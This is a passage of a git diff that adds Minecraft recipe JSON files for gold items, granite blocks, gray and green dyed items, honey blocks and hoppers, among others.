"minecraft:smelting", + "ingredient": { + "tag": "minecraft:gold_ores" + }, + "result": "minecraft:gold_ingot", + "experience": 1.0, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_ingot_from_blasting.json b/src/data/minecraft/recipes/gold_ingot_from_blasting.json new file mode 100644 index 00000000..d344cfa5 --- /dev/null +++ b/src/data/minecraft/recipes/gold_ingot_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "tag": "minecraft:gold_ores" + }, + "result": "minecraft:gold_ingot", + "experience": 1.0, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_ingot_from_gold_block.json b/src/data/minecraft/recipes/gold_ingot_from_gold_block.json new file mode 100644 index 00000000..bcaf158f --- /dev/null +++ b/src/data/minecraft/recipes/gold_ingot_from_gold_block.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "gold_ingot", + "ingredients": [ + { + "item": "minecraft:gold_block" + } + ], + "result": { + "item": "minecraft:gold_ingot", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_ingot_from_nuggets.json b/src/data/minecraft/recipes/gold_ingot_from_nuggets.json new file mode 100644 index 00000000..0dae15c7 --- /dev/null +++ b/src/data/minecraft/recipes/gold_ingot_from_nuggets.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "gold_ingot", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:gold_nugget" + } + }, + "result": { + "item": "minecraft:gold_ingot" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_nugget.json b/src/data/minecraft/recipes/gold_nugget.json new file mode 100644 index 00000000..170d8779 --- /dev/null +++ b/src/data/minecraft/recipes/gold_nugget.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:gold_ingot" + } + ], + "result": { + "item": "minecraft:gold_nugget", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_nugget_from_blasting.json b/src/data/minecraft/recipes/gold_nugget_from_blasting.json new file mode 100644 index 00000000..e2f1acd7 --- /dev/null +++ b/src/data/minecraft/recipes/gold_nugget_from_blasting.json @@ -0,0 +1,38 @@ +{ + "type": "minecraft:blasting", + "ingredient": [ + { + "item": "minecraft:golden_pickaxe" + }, + { + "item": "minecraft:golden_shovel" + }, + { + "item": "minecraft:golden_axe" + }, + { + "item": "minecraft:golden_hoe" + }, + { + "item": "minecraft:golden_sword" + }, + { + "item": "minecraft:golden_helmet" + }, + { + "item": "minecraft:golden_chestplate" + }, + { + "item": "minecraft:golden_leggings" + }, + { + "item": "minecraft:golden_boots" + }, + { + "item": "minecraft:golden_horse_armor" + } + ], + "result": "minecraft:gold_nugget", + "experience": 0.1, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gold_nugget_from_smelting.json b/src/data/minecraft/recipes/gold_nugget_from_smelting.json new file mode 100644 index 00000000..58e52b64 --- /dev/null +++ b/src/data/minecraft/recipes/gold_nugget_from_smelting.json @@ -0,0 +1,38 @@ +{ + "type": "minecraft:smelting", + "ingredient": [ + { + "item": "minecraft:golden_pickaxe" + }, + { + "item": "minecraft:golden_shovel" + }, + { + "item": "minecraft:golden_axe" + }, + { + "item": "minecraft:golden_hoe" + }, + { + "item": "minecraft:golden_sword" + }, + { + "item": "minecraft:golden_helmet" + }, + { + "item": "minecraft:golden_chestplate" + }, + { + "item": "minecraft:golden_leggings" + }, + { + "item": "minecraft:golden_boots" + }, + { + "item": "minecraft:golden_horse_armor" + } + ], + "result": "minecraft:gold_nugget", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_apple.json b/src/data/minecraft/recipes/golden_apple.json new file mode 100644 index 00000000..fe8f98a4 --- /dev/null +++ b/src/data/minecraft/recipes/golden_apple.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:gold_ingot" + }, + "X": { + "item": "minecraft:apple" + } + }, + "result": { + "item": "minecraft:golden_apple" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_axe.json b/src/data/minecraft/recipes/golden_axe.json new file mode 100644 index 00000000..265a2583 --- /dev/null +++ b/src/data/minecraft/recipes/golden_axe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + "X#", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_boots.json b/src/data/minecraft/recipes/golden_boots.json new file mode 100644 index 00000000..c55a355d --- /dev/null +++ b/src/data/minecraft/recipes/golden_boots.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_boots" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_carrot.json b/src/data/minecraft/recipes/golden_carrot.json new file mode 100644 index 00000000..c0f6966a --- /dev/null +++ b/src/data/minecraft/recipes/golden_carrot.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:gold_nugget" + }, + "X": { + "item": "minecraft:carrot" + } + }, + "result": { + "item": "minecraft:golden_carrot" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_chestplate.json b/src/data/minecraft/recipes/golden_chestplate.json new file mode 100644 index 00000000..7e983508 --- /dev/null +++ b/src/data/minecraft/recipes/golden_chestplate.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "XXX", + "XXX" + ], + "key": { + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_chestplate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_helmet.json b/src/data/minecraft/recipes/golden_helmet.json new file mode 100644 index 00000000..cd547a1a --- /dev/null +++ b/src/data/minecraft/recipes/golden_helmet.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_hoe.json b/src/data/minecraft/recipes/golden_hoe.json new file mode 100644 index 00000000..3baa42f5 --- /dev/null +++ b/src/data/minecraft/recipes/golden_hoe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + " #", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_leggings.json b/src/data/minecraft/recipes/golden_leggings.json new file mode 100644 index 00000000..1d12b5a6 --- /dev/null +++ b/src/data/minecraft/recipes/golden_leggings.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_leggings" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_pickaxe.json b/src/data/minecraft/recipes/golden_pickaxe.json new file mode 100644 index 00000000..32f56751 --- /dev/null +++ b/src/data/minecraft/recipes/golden_pickaxe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + " # ", + " # " + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_shovel.json b/src/data/minecraft/recipes/golden_shovel.json new file mode 100644 index 00000000..fd9b522b --- /dev/null +++ b/src/data/minecraft/recipes/golden_shovel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/golden_sword.json b/src/data/minecraft/recipes/golden_sword.json new file mode 100644 index 00000000..21d5982b --- /dev/null +++ b/src/data/minecraft/recipes/golden_sword.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:golden_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite.json b/src/data/minecraft/recipes/granite.json new file mode 100644 index 00000000..42c945c3 --- /dev/null +++ b/src/data/minecraft/recipes/granite.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:diorite" + }, + { + "item": "minecraft:quartz" + } + ], + "result": { + "item": "minecraft:granite" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_slab.json b/src/data/minecraft/recipes/granite_slab.json new file mode 100644 index 00000000..1b94399e --- /dev/null +++ b/src/data/minecraft/recipes/granite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:granite" + } + }, + "result": { + "item": "minecraft:granite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_slab_from_granite_stonecutting.json b/src/data/minecraft/recipes/granite_slab_from_granite_stonecutting.json new file mode 100644 index 00000000..275a8587 --- /dev/null +++ b/src/data/minecraft/recipes/granite_slab_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:granite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_stairs.json b/src/data/minecraft/recipes/granite_stairs.json new file mode 100644 index 00000000..63d6f6d2 --- /dev/null +++ b/src/data/minecraft/recipes/granite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:granite" + } + }, + "result": { + "item": "minecraft:granite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_stairs_from_granite_stonecutting.json b/src/data/minecraft/recipes/granite_stairs_from_granite_stonecutting.json new file mode 100644 index 00000000..941b9874 --- /dev/null +++ b/src/data/minecraft/recipes/granite_stairs_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:granite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_wall.json b/src/data/minecraft/recipes/granite_wall.json new file mode 100644 index 00000000..ca185771 --- /dev/null +++ b/src/data/minecraft/recipes/granite_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:granite" + } + }, + "result": { + "item": "minecraft:granite_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/granite_wall_from_granite_stonecutting.json b/src/data/minecraft/recipes/granite_wall_from_granite_stonecutting.json new file mode 100644 index 00000000..1bbc4f2c --- /dev/null +++ b/src/data/minecraft/recipes/granite_wall_from_granite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:granite" + }, + "result": "minecraft:granite_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_banner.json b/src/data/minecraft/recipes/gray_banner.json new file mode 100644 index 00000000..61555521 --- /dev/null +++ b/src/data/minecraft/recipes/gray_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:gray_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:gray_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_bed.json b/src/data/minecraft/recipes/gray_bed.json new file mode 100644 index 00000000..4941f32d --- /dev/null +++ b/src/data/minecraft/recipes/gray_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:gray_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:gray_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_bed_from_white_bed.json b/src/data/minecraft/recipes/gray_bed_from_white_bed.json new file mode 100644 index 00000000..ff07964c --- /dev/null +++ b/src/data/minecraft/recipes/gray_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:gray_dye" + } + ], + "result": { + "item": "minecraft:gray_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_carpet.json b/src/data/minecraft/recipes/gray_carpet.json new file mode 100644 index 00000000..3538c167 --- /dev/null +++ b/src/data/minecraft/recipes/gray_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:gray_wool" + } + }, + "result": { + "item": "minecraft:gray_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_carpet_from_white_carpet.json b/src/data/minecraft/recipes/gray_carpet_from_white_carpet.json new file mode 100644 index 00000000..4a5a40a2 --- /dev/null +++ b/src/data/minecraft/recipes/gray_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:gray_dye" + } + }, + "result": { + "item": "minecraft:gray_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_concrete_powder.json b/src/data/minecraft/recipes/gray_concrete_powder.json new file mode 100644 index 00000000..235c847f --- /dev/null +++ b/src/data/minecraft/recipes/gray_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:gray_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:gray_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_dye.json b/src/data/minecraft/recipes/gray_dye.json new file mode 100644 index 00000000..0402c1c3 --- /dev/null +++ b/src/data/minecraft/recipes/gray_dye.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:black_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:gray_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_glazed_terracotta.json b/src/data/minecraft/recipes/gray_glazed_terracotta.json new file mode 100644 index 00000000..d8280bf1 --- /dev/null +++ b/src/data/minecraft/recipes/gray_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:gray_terracotta" + }, + "result": "minecraft:gray_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_stained_glass.json b/src/data/minecraft/recipes/gray_stained_glass.json new file mode 100644 index 00000000..8841283c --- /dev/null +++ b/src/data/minecraft/recipes/gray_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:gray_dye" + } + }, + "result": { + "item": "minecraft:gray_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_stained_glass_pane.json b/src/data/minecraft/recipes/gray_stained_glass_pane.json new file mode 100644 index 00000000..bcbc1361 --- /dev/null +++ b/src/data/minecraft/recipes/gray_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:gray_stained_glass" + } + }, + "result": { + "item": "minecraft:gray_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/gray_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..dc40e8f0 --- /dev/null +++ b/src/data/minecraft/recipes/gray_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:gray_dye" + } + }, + "result": { + "item": "minecraft:gray_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_terracotta.json b/src/data/minecraft/recipes/gray_terracotta.json new file mode 100644 index 00000000..79d10ed6 --- /dev/null +++ b/src/data/minecraft/recipes/gray_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:gray_dye" + } + }, + "result": { + "item": "minecraft:gray_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/gray_wool.json b/src/data/minecraft/recipes/gray_wool.json new file mode 100644 index 00000000..f886b516 --- /dev/null +++ b/src/data/minecraft/recipes/gray_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:gray_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:gray_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_banner.json b/src/data/minecraft/recipes/green_banner.json new file mode 100644 index 00000000..a8dd9830 --- /dev/null +++ b/src/data/minecraft/recipes/green_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:green_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:green_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_bed.json b/src/data/minecraft/recipes/green_bed.json new file mode 100644 index 00000000..2a75621a --- /dev/null +++ b/src/data/minecraft/recipes/green_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:green_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:green_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_bed_from_white_bed.json b/src/data/minecraft/recipes/green_bed_from_white_bed.json new file mode 100644 index 00000000..45b77842 --- /dev/null +++ b/src/data/minecraft/recipes/green_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:green_dye" + } + ], + "result": { + "item": "minecraft:green_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_carpet.json b/src/data/minecraft/recipes/green_carpet.json new file mode 100644 index 00000000..93843636 --- /dev/null +++ b/src/data/minecraft/recipes/green_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:green_wool" + } + }, + "result": { + "item": "minecraft:green_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_carpet_from_white_carpet.json b/src/data/minecraft/recipes/green_carpet_from_white_carpet.json new file mode 100644 index 00000000..6fc0d1c7 --- /dev/null +++ b/src/data/minecraft/recipes/green_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:green_dye" + } + }, + "result": { + "item": "minecraft:green_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_concrete_powder.json b/src/data/minecraft/recipes/green_concrete_powder.json new file mode 100644 index 00000000..ac1c1ad1 --- /dev/null +++ b/src/data/minecraft/recipes/green_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:green_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:green_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_dye.json b/src/data/minecraft/recipes/green_dye.json new file mode 100644 index 00000000..871c8ede --- /dev/null +++ b/src/data/minecraft/recipes/green_dye.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:cactus" + }, + "result": "minecraft:green_dye", + "experience": 1.0, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_glazed_terracotta.json b/src/data/minecraft/recipes/green_glazed_terracotta.json new file mode 100644 index 00000000..efd4eb3e --- /dev/null +++ b/src/data/minecraft/recipes/green_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:green_terracotta" + }, + "result": "minecraft:green_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_stained_glass.json b/src/data/minecraft/recipes/green_stained_glass.json new file mode 100644 index 00000000..9894998b --- /dev/null +++ b/src/data/minecraft/recipes/green_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:green_dye" + } + }, + "result": { + "item": "minecraft:green_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_stained_glass_pane.json b/src/data/minecraft/recipes/green_stained_glass_pane.json new file mode 100644 index 00000000..6ed28b04 --- /dev/null +++ b/src/data/minecraft/recipes/green_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:green_stained_glass" + } + }, + "result": { + "item": "minecraft:green_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/green_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..90cf3ee9 --- /dev/null +++ b/src/data/minecraft/recipes/green_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:green_dye" + } + }, + "result": { + "item": "minecraft:green_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_terracotta.json b/src/data/minecraft/recipes/green_terracotta.json new file mode 100644 index 00000000..db34bd70 --- /dev/null +++ b/src/data/minecraft/recipes/green_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:green_dye" + } + }, + "result": { + "item": "minecraft:green_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/green_wool.json b/src/data/minecraft/recipes/green_wool.json new file mode 100644 index 00000000..19b441cf --- /dev/null +++ b/src/data/minecraft/recipes/green_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:green_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:green_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/grindstone.json b/src/data/minecraft/recipes/grindstone.json new file mode 100644 index 00000000..6a725583 --- /dev/null +++ b/src/data/minecraft/recipes/grindstone.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "I-I", + "# #" + ], + "key": { + "I": { + "item": "minecraft:stick" + }, + "-": { + "item": "minecraft:stone_slab" + }, + "#": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:grindstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/hay_block.json b/src/data/minecraft/recipes/hay_block.json new file mode 100644 index 00000000..2a80b8d5 --- /dev/null +++ b/src/data/minecraft/recipes/hay_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:wheat" + } + }, + "result": { + "item": "minecraft:hay_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/heavy_weighted_pressure_plate.json b/src/data/minecraft/recipes/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..ee28d2d7 --- /dev/null +++ b/src/data/minecraft/recipes/heavy_weighted_pressure_plate.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:heavy_weighted_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/honey_block.json b/src/data/minecraft/recipes/honey_block.json new file mode 100644 index 00000000..dc06fd44 --- /dev/null +++ b/src/data/minecraft/recipes/honey_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SS", + "SS" + ], + "key": { + "S": { + "item": "minecraft:honey_bottle" + } + }, + "result": { + "item": "minecraft:honey_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/honey_bottle.json b/src/data/minecraft/recipes/honey_bottle.json new file mode 100644 index 00000000..f16d660c --- /dev/null +++ b/src/data/minecraft/recipes/honey_bottle.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:honey_block" + }, + { + "item": "minecraft:glass_bottle" + }, + { + "item": "minecraft:glass_bottle" + }, + { + "item": "minecraft:glass_bottle" + }, + { + "item": "minecraft:glass_bottle" + } + ], + "result": { + "item": "minecraft:honey_bottle", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/honeycomb_block.json b/src/data/minecraft/recipes/honeycomb_block.json new file mode 100644 index 00000000..da034046 --- /dev/null +++ b/src/data/minecraft/recipes/honeycomb_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "HH", + "HH" + ], + "key": { + "H": { + "item": "minecraft:honeycomb" + } + }, + "result": { + "item": "minecraft:honeycomb_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/hopper.json b/src/data/minecraft/recipes/hopper.json new file mode 100644 index 00000000..5ccbe928 --- /dev/null +++ b/src/data/minecraft/recipes/hopper.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "I I", + "ICI", + " I " + ], + "key": { + "C": { + "item": "minecraft:chest" + }, + "I": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:hopper" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/hopper_minecart.json b/src/data/minecraft/recipes/hopper_minecart.json new file mode 100644 index 00000000..f85471be --- /dev/null +++ b/src/data/minecraft/recipes/hopper_minecart.json @@ -0,0 +1,18 @@ +{ + 